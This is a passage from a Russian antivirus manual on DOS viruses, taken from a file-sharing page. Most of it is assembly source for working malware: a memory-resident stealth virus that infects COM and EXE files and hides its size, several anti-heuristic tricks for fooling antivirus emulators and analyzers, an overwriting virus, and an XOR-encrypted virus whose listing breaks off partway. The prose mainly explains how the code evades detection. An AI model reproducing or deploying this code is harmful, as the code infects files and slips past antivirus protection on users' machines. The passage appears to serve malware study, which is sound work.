Добавил:
Опубликованный материал нарушает ваши авторские права? Сообщите нам.
Вуз: Предмет: Файл:

Технологии борьбы с компьютерными вирусами. Практическое пособие

.pdf
Скачиваний:
0
Добавлен:
15.08.2026
Размер:
1 Мб
Скачать

DOS вирусы

 

81

 

 

;------------------

Новый обработчик 24 прерывания------------------

new24:

 

 

mov al,3

 

; Наш обработчик 24 прерывания

iret

 

 

;----------------------------------------------

 

 

;

 

Новый обработчик 21 прерывания

;----------------------------------------------

 

 

new_int21h:

 

 

cmp ah,99h

 

; Ответ на проверку присутствия в памяти

jne continue

 

 

mov bh,99h

 

 

iret

 

 

continue:

 

 

cmp ah,4bh

 

; Если программа запущена, будем заражать

jne check_dir

 

 

jmp infect

 

 

check_dir:

 

 

cmp ah,11h

 

; Если вызов "dir", то маскируемся

je hide_dir

 

 

cmp ah,12h

 

 

je hide_dir

 

 

cmp ah,4eh

 

; Если вызов NC - 4eh, 4fh, прячемся по-другому

je hide_dir2

 

 

cmp ah,4fh

 

 

je hide_dir2

 

 

jmp do_oldint21h

; Если какая-то другая функция DOS, то пусть работает

 

 

; оригинальный обработчик

;----------------------------------------------

 

 

;

 

Функция неполного стелс-механизма

;----------------------------------------------

 

 

hide_dir:

 

;

pushf

 

; Положим в стек флаги

push cs

 

; è cs

call do_oldint21h

; Теперь вызовем оригинальное 21 прерывание

or al,al

 

; Вызов был удачным?

jnz skip_dir

 

; Нет, маскировка отменяется

push ax bx es

 

; Сохраняем используемые регистры

mov ah,62h

 

; Получим текущий PSP

int 21h

 

 

mov es,bx

 

 

cmp bx,es:[16h]

 

; PSP в порядке?

jnz bad_psp

 

; Если нет, то на выход

mov bx,dx

 

 

mov al,[bx]

 

;

push ax

 

; расширенный FCB

mov ah,2fh

 

; получим DTA

int 21h

 

 

pop ax

 

 

inc al

 

; Это расширенный FCB?

jnz no_ext

 

 

82

 

DOS вирусы

 

 

 

add

bx,7

; Если да, то добавим 7

no_ext:

 

 

mov

al,byte ptr es:[bx+17h]

; Взглянем на наши секунды

and

al,1fh

 

xor

al,1dh

; Файл заражен?

jnz

no_stealth

; Если нет, то размер не изменяем

cmp

word ptr es:[bx+1dh],vir_size

; Если размер меньше, чем размер вируса, то он не

ja hide_it

; мог быть заражен, значит, не маскируем

cmp

word ptr es:[bx+1fh],0

;

je no_stealth

;

hide_it:

 

 

sub

word ptr es:[bx+1dh],vir_size

; Подменяем размер файла

sbb

word ptr es:[bx+1fh],0

 

no_stealth:

 

bad_psp:

 

 

pop es bx ax

; Восстанавливаем регистры

skip_dir:

 

iret

 

; возвращаем управление

hide_dir2:

 

pushf

; Положим в стек флаги

push cs

; è cs

call do_oldint21h

; Теперь вызовем оригинальное 21 прерывание

jc eofs

; Если нет больше файлов, то на выход

push ax es bx

; Сохраним регистры

mov ah,2fh

; Получим DTA

int

21h

 

mov

ax,es:[bx+16h]

 

and

ax,1fh

; PSP в порядке?

xor

al,29

 

jnz

not_inf

; Если нет - на выход

cmp

word ptr es:[bx+1ah],vir_size

; Файлы меньше длины вируса - не трогаем

ja sub_it

 

cmp

word ptr es:[bx+1ch],0

 

je not_inf

 

sub_it:

 

 

sub

word ptr es:[bx+1ah],vir_size

; Исправляем длину файла

sbb

word ptr es:[bx+1ch],0

 

not_inf:

 

 

pop bx es ax

; Восстанавливаем регистры

eofs:

 

 

retf 2

; Возвращаем управление

;----------------------------------------------

;

Определение имени файла для открытого хэндла

;----------------------------------------------

check_name:

 

push bx

 

mov ax,1220h

 

int

2fh

 

DOS вирусы

83

 

 

mov ax,1216h

; Получение SFT (system file table)

mov bl,byte ptr es:[di]

; Для хэндла в bx

int

2fh

 

pop

bx

 

add

di,20h

; es:di+20h указывает на имя файла

ret

 

; Возврат

;----------------------------------------------

;

Процедура инфицирования

;----------------------------------------------

infect:

 

 

push es bp ax bx cx si di ds dx

 

mov ax,3d02h

; Откроем файл

int

21h

 

xchg ax,bx

 

push cs

 

push cs

 

pop

ds

 

pop

es

 

mov

ax,5700h

; Сохраним и проверим время/дату файла

int

21h

; Признак инфицирования

push dx

 

push cx

 

and

cl,1fh

 

xor

cl,1dh

 

jne

read_it

 

jmp

skip_infect

 

read_it:

 

 

mov ah,3fh

; Читаем первые 18h байт

mov

cx,18h

 

mov

dx,offset EXEheader

; Â EXEheader

int

21h

 

mov

byte ptr COMflag,0

; Проверим *.exe или *.com и уст. флаг - COMflag

cmp

word ptr EXEheader,'ZM'

 

je is_EXE

 

cmp

word ptr EXEheader,'MZ'

 

je is_EXE

 

mov byte ptr COMflag,1

 

is_EXE:

 

 

mov ax,4202h

; Идем в конец файла

xor

cx,cx

 

cwd

 

 

int

21h

 

push ax

 

push es

 

call check_name

 

cmp

COMflag,1

; Если это *.com, то переходим к его заражению

je infect_COM

84

DOS вирусы

 

 

infect_EXE:

 

pop es

 

mov di,offset EXEret

; EXEret = IP/CS

mov si,offset EXEheader+14h

 

mov cx,2

 

rep movsw

 

mov si,offset EXEheader+0eh

; EXEstack = SS/SP

mov cx,2

 

rep movsw

 

pop ax

; Восстановим ax

mov cx,10h

 

div cx

 

sub ax,word ptr [EXEheader+8h]

 

mov word ptr [EXEheader+14h],dx

; Вычислим CS:IP

mov word ptr [EXEheader+16h],ax

 

add ax,100

 

mov word ptr [EXEheader+0eh],ax

; SS:SP

mov word ptr [EXEheader+10h],100h

 

jmp short more_infection

 

infect_COM:

 

cmp word ptr es:[di],'OC'

; Не заражаем command.com

pop es

 

pop ax

 

jne no_command_com

 

jmp skip_infect

 

no_command_com:

 

mov di,offset COMret

; Отправим первые 3 байта в COMret

mov si,offset EXEheader

 

mov cx,3

 

rep movsb

 

sub ax,3

; Отнимем 3 от длины файла (размер JMP)

mov byte ptr [EXEheader],0e9h

; И построим начальный JMP

mov word ptr [EXEheader+1],ax

 

more_infection:

 

mov ah,40h

; Пишем в файл

mov cx,vir_size

 

mov dx,offset start_of_virus

 

int 21h

 

push cs

 

pop ds

 

cmp byte ptr COMflag,0

; Если это *.com, то пропускаем следующую часть

jne goto_start

 

mov ax,4202h

; Идем в конец файла

xor cx,cx

 

cwd

 

int 21h

 

DOS вирусы

85

 

 

mov cx,512

; Пересчитываем новую длину файла в 512-

div

cx

; байтных страницах

inc

ax

 

mov

word ptr [EXEheader+2],dx

 

mov word ptr [EXEheader+4],ax

 

goto_start:

 

mov ax,4200h

; идем в начало файла

xor

cx,cx

 

cwd

 

 

int

21h

 

cmp

byte ptr [COMflag],1

; Если *.com, то пишем первые 3 байта

je write_3

 

mov cx,18h

; Иначе пишем весь *.exe заголовок

jmp

short write_18h

 

write_3:

 

 

mov

cx,3

 

write_18h:

 

mov dx,offset EXEheader

 

mov

ah,40h

 

int

21h

 

skip_infect:

; Отмечаем время и дату и метим файл как

 

 

; инфицированный

mov ax,5701h

 

pop

cx

 

pop

dx

 

or cl,00011101b

 

and

cl,11111101b

 

int

21h

 

mov

ah,3eh

 

int

21h

 

pop

dx

 

pop

ds

 

pop

di si cx bx ax bp es

 

do_oldint21h:

; Возвращение управления оригинальному обработчику 21

 

db 0eah

; прерывания

OldInt21h dd 0

 

COMflag

db 1

 

COMret

db 0cdh,20h,00h

 

vir_size

equ 705

 

old24

dd 0

 

EXEheader db 18h dup(0)

 

end_of_virus:

 

cseg

ends

 

end start_of_virus ;----------------------------------------------

Данный вирус имеет размер 705 байт и на момент написания книги никакими антивирусами не обнаруживался.

86

DOS вирусы

 

 

Стоить заметить, что при посадке в память мы использовали функции DOS, а не прямой метод. На этом мы и закончим обсуждение стелс-вирусов.

Необходимо заметить, что лечение остается таким же, как и в варианте с обыкновенным комбо-паразитом. Но оно будет неэффективным, если не загрузиться с чистой DOS-дискеты.

5.4. Антиэвристические приемы

Сейчас поговорим об антиэвристических механизмах. На что рассчитаны антиэвристические приемы? Они рассчитаны на обман антивирусных программ, таких как AVP, Sophos Antivirus и др. Чтобы узнать, как эти приемы работают, давайте разберемся с тем, как работают эвристические анализаторы в антивирусах. К примеру, если у вас в программе есть поиск (DOS-функция 4eh) по маске *.exe и в этой же программе есть функция записи (DOS-функция 40h), то с ка- кой-то долей уверенности можно сказать, что в файле гнездится вирус. Сейчас был описан механизм работы анализатора кода. Но анализатор кода сам не работает, он работает в паре с эмулятором кода. Что же такое эмулятор и для чего он нужен? Эмулятор кода необходим для обнаружения вирусов, шифрующих свой код. Он эмулирует работу процессора. Эмулятор пытается исполнить инструкции, взятые из исполнимого файла в специальной «виртуальной машине». В то время как он «псевдоисполняет» файл, анализатор ищет мнемоники кода, характерные для вирусов. Обычно антиэвристические приемы строятся либо на обмане эмулятора, либо на обмане анализатора. Начнем с эмулятора. Есть возможность обмана эмулятора на эмуляции процессора, когда процессор имеет какие-то ошибки, и в реальной жизни команды будут выполняться не так, как при эмуляции.

Рассмотрим пример:

;----------------------------------------------

 

xor ax,ax

 

sahf

 

lahf

; ax=2

xchg al,ah

 

add ax,5

 

call $+3

 

pop si

 

add si,ax

 

jmp si

 

mov bl,56h

 

;----------------------------------------------

 

На самом деле, не выполнится, а вот при эмуляции антивирусом выполнится, т. е. если bx — ключ расшифровщика, то антивирус никогда не сможет правильно расшифровать вирус. И анализатор не сможет даже пискнуть, так как он будет рыться в зашифрованном коде.

Второй способ обмана эмулятора — это обмануть его на эмуляции периферии. Мы продемонстрируем это на примере отказа эмулятора при эмуляции работы с портами.

DOS вирусы

87

 

 

Рассмотрим пример:

;----------------------------------------------

 

in

ax,42h

mov

si,ax

in

ax,42h

cmp

ax,si

jnz

exit

mov

bx,1234h ; антивирус эмулирует, а на самом деле это не работает

exit:

 

;----------------------------------------------

 

Теперь перейдем к способам обмана анализатора. Есть возможность обмана анализатора прерываниями процессора, которые переключают процессор в режим отладки. Это прерывания один и три.

Рассмотрим пример:

;----------------------------------------------

 

 

cseg segment

 

 

assume cs:cseg,ds:cseg

 

org 100h

 

 

start:

 

 

mov

ah,09h

;

lea

dx,msg

; Итак, представимся

int

21h

;

mov

ah,4eh

; DOS функция - найти первый файл

find:

 

 

int

1h

;!!!!!!!!!!!!!!!!!!!!!!

lea

dx,file1

; маска файла для поиска

int

21h

; найти первый файл

infect:

 

 

mov

ax,3d01h

;

mov

dx,09Eh

; Откроем его

int

21h

;

xchg ax,bx

; хэндл файла в bx

int

3h

; !!!!!!!!!!!!!!!!!!!!!

mov

ah,40h

; Будем записывать

mov

cl,89

; Сколько байт будем записывать [наша длина]

mov

dx,100h

; С какой позиции? С начала, конечно

int

21h

; Писать сейчас !

mov

ah,3eh

; Закроем файл

int

21h

;

mov

ah,4Fh

; Найдем новый

int

21h

;

jnc

infect

; и заразим

int

20h

; Конец

file1 db '*.exe',0

 

msg

db '[+ sImPl3 0w3rwRit3 cHUm4 2.0 +] by s10n$'

cseg ends

 

 

end start

 

 

;----------------------------------------------

 

 

88

DOS вирусы

 

 

Данный простейший вирус очень элементарно обнаруживается без маскирующих приемов, отмеченных восклицательными знаками. Однако добавление этих приемов позволяет вирусу обойти практически все антивирусные программы.

Каждый антиэвристический прием — это дело вкуса, и каждый писатель вирусов пытается попробовать себя в этом деле. Сейчас я приведу еще парочку самых популярных.

Вот листинг:

;----------------------------------------------

mov cx,0ffffh

ah1:

jmp ah2

mov ax,4c00h int 21h

ah2:

loop ah1 ;----------------------------------------------

В этом примере организован довольно длинный цикл, который скачет вокруг команды завершения программы. Если вы этот прием применяете в *.com программе, то без страха можете заменять команды завершения программы на «ret» или на «int 20h».

И еще один листинг:

;----------------------------------------------

 

find:

 

db 068h

; это антиэвристический

dw OFFSET @avp

; прием

ret

; взятый мной из вирусного журнала

pop ax

; Infected Voice

@avp:

;

;----------------------------------------------

 

Здесь смысл приема несколько в ином. Сначала первыми двумя инструкциями в стек кладется адрес возврата на метку @avp. После этого идет возврат командой «ret», и управление передается на метку @avp.

И простенький прием от меня:

;----------------------------------------------

jmp $+4 int 20h

;----------------------------------------------

Здесь все довольно тривиально — обычный переход, который перескакивает команду завершения программы.

Ну вот, и все! С антиэвристическими механизмами мы закончили.

Данные трюки затрудняют анализ вируса, но ничего не изменяют в принципе его лечения.

DOS вирусы

89

 

 

5.5. Динамическое шифрование

Динамическое шифрование — это одна из наиболее мощных вирусных технологий. Она предназначена для борьбы с сигнатурными сканерами и для обмана пользователя, изучающего вирус. Вот, например, есть вирус, созданный с использованием всех описанных выше технологий. Стоит любопытному пользователю посмотреть в текстовом редакторе на вирус и как вы думаете, что он там увидит? Как минимум строку типа «...*.com....» или «...*.exe...». И вы думаете после этого он как ни в чем не бывало запустит инфицированную программу? Приведенные стороки — это лучший вариант, а что будет, когда он увидит сообщение, адресованное всем ламерам, в том числе и ему, что-то вроде «SuPa DuPa VIRUS by vasYok»?. После этого судьба вируса будет предрешена, погибнет он быстро...

Для того, чтобы ничего подобного с вирусами не случилось, их разработчи- ки используют метод, о котором следует рассказать.

Динамическое шифрование необходимо для маскировки текстовых строк в вирусе, а также для маскировки инструкций размножения. Шифрование производится при помощи простых математических операций, таких как: XOR, INC/DEC, ADD/SUB. Самая распространенная из них — это, конечно же, XOR, потому как для этой математической операции не нужна дублирующая, т. е. при первом вызове XOR шифрует, а при втором расшифрует. Для понимания методов работы данных операций обратитесь к какому-нибудь справочнику по дискретной математике.

Теперь рассмотрим схему работы простейшего шифрованного вируса типа overwriter:

Перейдем к подробному алгоритму функционирования данного вируса.

1.Вызов шифровщика/расшифровщика (при первом запуске расшифруется 0, что кода не изменяет). При втором и последующих запусках шифрует/расшифрует от метки virus_code и до конца вируса.

2.Затем берется случайное значение по таймеру, которое будет ключом для шифрования.

3.Ищется файл. При положительном результате поиска осуществляется переход на метку infect, где и происходит инфицирование.

4.Сначала перед инфицированием шифруется код. Затем уже зашифрованный он переписывается в заражаемый файл с нешифрованной процедурой инфицирования и шифровщиком/расшифровщиком.

5.Затем код расшифровывается, и идет переход на поиск нового файла. Если такового нет, то работа вируса завершается.

90 DOS вирусы

Рассмотрим листинг данного вируса:

;----------------------------------------------

 

 

 

 

code

segment

 

 

; сегмент кода

assume

cs:code,ds:code

 

;

 

org

100h

 

;

main:

 

 

 

; Начало вирусной программы

 

call

encrypt_decrypt

; Расшифруем вирусный код

 

jmp

random_mutation

; Перейдем на метку мутации

encrypt_val

db

00h

; Переменная [шифрующий/расшифрующий ключ]

virus_size

equ

108

; переменная [длина вируса]

infect_file:

 

 

 

 

mov

bx,handle

; Возьмем хэндл файла

 

push

bx

 

; Положим его в стек

 

call

encrypt_decrypt

; Зашифруем большую часть вирусного кода

 

pop

bx

 

; Восстановим хэндл

 

mov

cx,virus_size

; Количество байт для записи

 

mov

dx,100h

 

; Откуда начинать переписывать

 

mov

ah,40h

 

; DOS-функция записи в файл

 

int

3h

 

; Антиэвристика

 

int

21h

 

;

 

call

encrypt_decrypt

; Зашифруем код (таким, каким он был)

 

ret

 

 

; Вернемся туда, откуда наc вызвали

;----------- Функция шифровки/разшифровки -----------------------

encrypt_decrypt:

 

 

 

 

lea

bx,virus_code

; С какого места шифруем вирус

xor_loop:

 

 

; Начало шифрования здесь

 

mov

ah,[bx]

 

; Берем текущий байт

 

xor

ah,encrypt_val

; Преобразуем его операцией XOR по ключу

 

mov

[bx],ah

 

; И кладем шифрованный/расшифрованный байт на место

 

inc

bx

 

; Переходим к следующему байту

 

cmp

bx,offset virus_code+virus_size; Мы достигли конца файла?

 

jle

xor_loop

 

; Если нет, то шифруем дальше

 

ret

 

 

; Если да, то вернемся туда, откуда нас вызывали

;----------------------------------------------

virus_code:

 

 

 

random_mutation:

 

 

;

 

mov

ah,2ch

 

; Возьмем по таймеру значение

 

int

21h

 

 

 

mov

encrypt_val,dl

; Присвоим это случайное значение ключу

find_com:

 

 

 

 

xor

cx,cx

 

 

 

lea

dx,fmask

 

; Найдем файл по маске *.com

 

mov

ah,4eh

 

;

 

int

21h

 

 

 

jnc

healthy

 

 

continue_search:

 

 

 

 

mov

ah,4fh

 

; Ищем следующий файл

 

int

21h

 

;

 

jc exit_virus

 

; Если больше нет файлов, то идем на выход

Соседние файлы в предмете [НЕСОРТИРОВАННОЕ]